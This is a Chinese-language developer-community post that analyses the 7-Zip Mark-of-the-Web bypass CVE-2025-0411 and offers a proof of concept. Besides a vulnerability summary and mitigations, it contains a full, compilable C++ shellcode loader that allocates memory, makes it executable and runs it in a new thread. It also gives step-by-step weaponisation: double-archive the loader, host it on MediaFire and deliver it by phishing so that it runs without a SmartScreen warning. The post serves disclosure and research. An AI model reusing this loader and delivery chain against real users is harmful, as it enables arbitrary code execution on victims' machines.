首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >7-Zip Mark-of-the-Web绕过漏洞(CVE-2025-0411)分析与示例

7-Zip Mark-of-the-Web绕过漏洞(CVE-2025-0411)分析与示例

原创
作者头像
qife122
发布2025-12-26 12:22:28
发布2025-12-26 12:22:28
2450
举报

7-Zip Mark-of-the-Web 绕过漏洞 CVE-2025-0411 - POC

漏洞简介

此漏洞(CVSS 评分为 7.0)允许远程攻击者绕过受影响 7-Zip 安装中的 Mark-of-the-Web(网络标记)保护机制。利用此漏洞需要用户交互,即目标用户必须访问恶意页面或打开恶意文件。具体缺陷存在于处理归档文件时。当从带有网络标记的特制存档中提取文件时,7-Zip 不会将网络标记传播到提取的文件。攻击者可利用此漏洞在当前用户上下文中执行任意代码。

受影响版本

  • 24.09 之前的所有版本均被视为易受攻击。

缓解措施

  • 更新 7-Zip:从 7-Zip 官方网站下载并安装 24.09 或更高版本。
  • 谨慎处理不受信任的文件:避免打开来自未知或可疑来源的文件,尤其是压缩存档。
  • 利用安全功能:确保您的操作系统和安全软件配置为检测和阻止恶意文件。

概念验证 (POC)

作为 POC 的一部分,我们实现了一个简单的 calc.exe 加载器(Shellcode Loader),用于演示代码执行过程。

加载器核心代码

这是一个用 C++ 编写的 Windows Shellcode 加载器。它负责在内存中分配空间,复制并执行 Shellcode。

代码语言:cpp
复制
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(){

    DWORD oldprotect = 0;

    // 存放 Shellcode 的数组 (示例中为 calc.exe 的 Shellcode)
    unsigned char p[] = {
        //calc.exe shellcode
    };
    
    // 计算 Shellcode 长度
    unsigned int len = sizeof(p);

    // 在进程中申请可读可写内存
    void * payload_mem = VirtualAlloc(0, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    // 将 Shellcode 复制到申请的内存中
    RtlMoveMemory(payload_mem, p, len);
    
    // 将内存保护属性修改为可执行,防止 DEP 拦截
    BOOL rv = VirtualProtect(payload_mem, len, PAGE_EXECUTE_READ, &oldprotect);

    // 如果属性修改成功,则创建线程执行 Shellcode
    if ( rv != 0 ) {
	    HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) payload_mem, 0, 0, 0);
		// 等待线程执行完毕
		WaitForSingleObject(th, -1);
	}

    return 0;
}

// 编译命令(使用 MinGW-w64):
// x86_64-w64-mingw32-g++ .\loader.cpp -o loader.exe -s

漏洞利用方法

利用方法是对可执行文件进行双重压缩,从而触发漏洞。

  1. 武器化:将上述编译好的 loader.exe 进行两层压缩,制作成 7z 文件。
  2. 投递:将双重压缩的 7z 文件上传到有效载荷投递服务器(示例中为 MediaFire),并通过钓鱼邮件等方式向受害者发送恶意链接。下载后,文件会带有 "MotW"(Zone.Identifier,指示下载来源)。
  3. 执行:受害者需要点击打开多层压缩文件并运行其中的可执行文件。
已修复版本场景

使用 7-Zip 24.09 版本(已修复)打开文件时,会显示 Windows SmartScreen 警告,提示此文件来自不受信任的来源(因为它包含了 MotW)。

易受攻击版本场景

使用 7-Zip 24.07 版本(易受攻击)打开文件时,可以直接执行可执行文件,而不显示任何警告(因为提取的文件不包含 MotW)。

功能特性

本 POC 项目演示了以下核心环节:

  • 漏洞原理复现:展示了 CVE-2025-0411 如何绕过系统安全机制。
  • Shellcode 加载器:提供了一个完整的、可直接编译的 Windows 内存 Shellcode 加载器示例。
  • 完整的攻击链模拟:从载荷准备(压缩)到投递(带 MotW 下载),再到用户交互执行。
  • 版本对比说明:清晰展示了漏洞修复前后的不同行为。

安装与使用说明

本 POC 主要用于安全研究与教学目的。

环境要求

  • Windows 操作系统
  • 一个易受攻击的 7-Zip 版本 (如 24.07)
  • C/C++ 编译器 (如 MinGW-w64),用于编译加载器代码

使用步骤

  1. 编译加载器:使用 MinGW-w64 编译提供的 loader.cpp 代码,生成 loader.exe。x86_64-w64-mingw32-g++ loader.cpp -o loader.exe -s
  2. 制作恶意存档:使用 7-Zip 24.07 版本将 loader.exe 压缩两次,生成嵌套的 .7z 文件。
  3. 模拟投递:将生成的 .7z 文件放在一个 Web 服务器上,或添加 Zone.Identifier 流以模拟从网络下载。
  4. 测试漏洞:在装有 7-Zip 24.07 的系统上下载并打开该存档,观察文件是否能不经警告直接执行。

免责声明:此代码仅用于教育和授权测试。请勿将其用于非法活动。

参考链接

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 7-Zip Mark-of-the-Web 绕过漏洞 CVE-2025-0411 - POC
    • 漏洞简介
    • 受影响版本
    • 缓解措施
    • 概念验证 (POC)
      • 加载器核心代码
      • 漏洞利用方法
    • 功能特性
    • 安装与使用说明
      • 环境要求
      • 使用步骤
    • 参考链接
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档